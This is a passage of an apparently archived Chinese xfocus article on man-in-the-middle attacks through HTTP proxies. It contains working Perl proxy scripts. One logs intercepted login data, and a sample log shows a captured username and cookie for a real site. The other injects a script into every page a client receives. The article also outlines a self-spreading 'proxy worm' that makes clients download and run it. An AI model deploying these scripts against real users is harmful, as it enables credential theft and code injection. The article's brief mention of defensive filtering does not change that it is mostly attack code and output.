⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 man-in-the-middle-attacks in proxy.html

📁 里面收集的是发表在www.xfocus.org上的文章
💻 HTML
📖 第 1 页 / 共 2 页
字号:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;$browser-&gt; close;<br />
&nbsp;&nbsp;$host&nbsp;&nbsp; -&gt; close;<br />
} <br />
<br />
=============================codz end===============================<br />
&nbsp;&nbsp; 运行此脚本把结果保存到test.log:<br />
C:\usr\bin&gt;perl proxytest1.pl &gt;&gt;test.log <br />
<br />
然后Clinet使用次代理访问<a href='http://reg.163.com/CheckUser.jsp&nbsp;&nbsp;' target='_blank'>http://reg.163.com/CheckUser.jsp&nbsp;&nbsp;</a>登陆<br />
<br />
打开test.log得到如下数据:<br />
<br />
--------------Clint提交数据-------------------<br />
Opened reg.163.com , port 80<br />
POST /CheckUser.jsp HTTP/1.0<br />
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*<br />
Referer: <a href='http://reg.163.com/CheckUser.jsp' target='_blank'>http://reg.163.com/CheckUser.jsp</a><br />
&nbsp;&nbsp;…….省略…….<br />
Cookie: URSJESSIONID=b370cQyLDya7<br />
&nbsp;&nbsp;…….省略…….<br />
url=&amp;username=hack-520&amp;password=*****&amp;submit=%B5%C7%A1%A1%C2%BC<br />
<br />
................Serve返回数据.................xx<br />
HTTP/1.1 200 OK<br />
<br />
<br />
如下图所示:<br />
<br />
成功得到<br />
username=hack-520<br />
password=*****<br />
<br />
2.代码注射<br />
在使用代理的整个过程里,最终是通过代理服务器把数据发给clinet,这个数据是我们可以控制的,我们可以注射我们的恶意代码提交给clinet,修改上面的perl程如下:<br />
<br />
=============================codz start===============================<br />
#!/usr/bin/perl <br />
#proxy mid-man-atk Test script<br />
<br />
use strict;<br />
use URI;<br />
use IO::Socket;<br />
<br />
my $showOpenedSockets=1;<br />
<br />
my $server = IO::Socket::INET-&gt;new (<br />
&nbsp;&nbsp; LocalPort =&gt; 8080,<br />
&nbsp;&nbsp; Type&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt; SOCK_STREAM,<br />
&nbsp;&nbsp; Reuse&nbsp;&nbsp;&nbsp;&nbsp; =&gt; 1,<br />
&nbsp;&nbsp; Listen&nbsp;&nbsp;&nbsp;&nbsp;=&gt; 10);<br />
<br />
<br />
binmode $server;<br />
<br />
while (my $browser = $server-&gt;accept()) {<br />
&nbsp;&nbsp;print &quot;\n\n--------------------------------------------\n&quot;;<br />
<br />
&nbsp;&nbsp;binmode $browser;<br />
<br />
&nbsp;&nbsp;my $method&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&quot;&quot;;<br />
&nbsp;&nbsp;my $content_length&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= 0;<br />
&nbsp;&nbsp;my $content&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br />
&nbsp;&nbsp;my $accu_content_length = 0;<br />
&nbsp;&nbsp;my $host;<br />
&nbsp;&nbsp;my $hostAddr;<br />
&nbsp;&nbsp;my $httpVer;<br />
<br />
&nbsp;&nbsp;while (my $browser_line = &lt;$browser&gt;) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;unless ($method) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;($method, $hostAddr, $httpVer) = $browser_line =~ /^(\w+) +(\S+) +(\S+)/;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;my $uri = URI-&gt;new($hostAddr);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$host = IO::Socket::INET-&gt;new (<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PeerAddr=&gt; $uri-&gt;host,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PeerPort=&gt; $uri-&gt;port );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die &quot;couldn&#39;t open $hostAddr&quot; unless $host;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($showOpenedSockets) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print &quot;Opened &quot;.$uri-&gt;host.&quot; , port &quot;.$uri-&gt;port.&quot;\n&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;binmode $host;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print $host &quot;$method &quot;.$uri-&gt;path_query.&quot; $httpVer\n&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print &quot;$method &quot;.$uri-&gt;path_query.&quot; $httpVer\n&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;next;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;$content_length = $1 if&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$browser_line=~/Content-length: +(\d+)/i;<br />
&nbsp;&nbsp;&nbsp;&nbsp;$accu_content_length+=length $browser_line;<br />
&nbsp;&nbsp;&nbsp;&nbsp;print $browser_line;<br />
&nbsp;&nbsp;&nbsp;&nbsp;print $host $browser_line;<br />
&nbsp;&nbsp;&nbsp;&nbsp;last if $browser_line =~ /^\s*$/ and $method ne &#39;POST&#39;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ($browser_line =~ /^\s*$/ and $method eq &quot;POST&quot;) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$content = 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;last unless $content_length;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;next;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ($content) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$accu_content_length+=length $browser_line;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;last if $accu_content_length &gt;= $content_length;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;print &quot;\n\nxx....................................xx\n&quot;;<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;$content_length&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= 0;<br />
&nbsp;&nbsp;$content&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br />
&nbsp;&nbsp;$accu_content_length = 0;<br />
<br />
&nbsp;&nbsp;my @ret= &lt;$host&gt;;<br />
&nbsp;&nbsp;my $ret=@ret;<br />
&nbsp;&nbsp;push(@ret,&quot;&lt;script&gt;alert(\&quot;superhei\&quot;)&lt;/script&gt;&quot;);&nbsp;&nbsp;#〈=注意这里<br />
<br />
&nbsp;&nbsp;foreach my $host_line (@ret){<br />
&nbsp;&nbsp;&nbsp;&nbsp;print $host_line;<br />
&nbsp;&nbsp;&nbsp;&nbsp;print $browser $host_line;<br />
&nbsp;&nbsp;&nbsp;&nbsp;$content_length = $1 if $host_line=~/Content-length: +(\d+)/i;<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ($host_line =~ m/^\s*$/ and not $content) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$content = 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#last unless $content_length;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;next;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ($content) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($content_length) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$accu_content_length+=length $host_line;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print &quot;\nContent Length: $content_length, accu: $accu_content_length\n&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;last if $accu_content_length &gt;= $content_length;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;$browser-&gt; close;<br />
&nbsp;&nbsp;$host&nbsp;&nbsp; -&gt; close;<br />
}<br />
=============================codz end===============================<br />
代码:<br />
<br />
&nbsp;&nbsp;my @ret= &lt;$host&gt;;<br />
&nbsp;&nbsp;my $ret=@ret;<br />
&nbsp;&nbsp;push(@ret,&quot;&lt;script&gt;alert(\&quot;superhei\&quot;)&lt;/script&gt;&quot;);&nbsp;&nbsp;#〈=注意这里<br />
<br />
这个在代理服务最终把webserver返回的数据&lt;$host&gt;里 注射了代码&lt;script&gt;alert(&quot;superhei&quot;)&lt;/script&gt;。<br />
<br />
运行上面的程序,当clinet用此代理服务器访问任意站时都回执行&lt;script&gt;alert(&quot;superhei&quot;)&lt;/script&gt;<br />
如图2:<br />
<br />
3.Proxy worm的实现<br />
<br />
如果上面的例子在配合其他的客户端攻击(如网页木马),那么就可以实现proxy worm了:<br />
<br />
<br />
proxyworm--àclinet(proxyworm1)-àclinet1(proxyworm2)-à…..à<br />
<br />
clinet1在使用了proxyworm代理后,proxyworm向clinet注射可以让clinet下载并运行自身的代码,clinet被攻击后成为了proxyworm1 ……..。<br />
<br />
4.其他应用<br />
技术都又它的双面性,我们和可以利用在安全方面:比如恶意代码过虑平台:webserve 返回的数据经过代理服务器时 经过过滤在 发送给 clinet <br />
………<br />
<br />
小结:<br />
其实Man-in-the-middle-attacks是个很大的课题,在很多方面都提到,<br />
本文只是浅显的通过http协议代理介绍了下“代理中间人攻击技术”, 如果有兴趣的朋友可以研究下 其他协议“代理中间人攻击技术”。
	</td>
  </tr>
</table><div class="footer">  Copyright &copy; 1998-2005 XFOCUS Team. All Rights Reserved</div></body></html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -